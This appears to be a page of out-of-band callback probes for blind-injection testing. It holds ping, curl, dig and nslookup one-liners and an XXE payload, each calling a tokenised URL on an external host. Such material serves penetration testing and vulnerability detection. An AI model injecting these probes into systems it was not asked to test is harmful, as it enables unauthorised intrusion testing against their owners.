$ ping -c1 -p 00a308aa917b0f33c95f221ee96e5a00 unhack.ca
 

$ curl http://unhack.ca/p/a308aa917b0f33c95f221ee96e5a
 

$ dig a308aa917b0f33c95f221ee96e5a @unhack.ca
 

$ dig a308aa917b0f33c95f221ee96e5a.ns.unhack.ca
 

C:\> nslookup a308aa917b0f33c95f221ee96e5a unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/a308aa917b0f33c95f221ee96e5a">]>
    <foo>&xxe;</foo>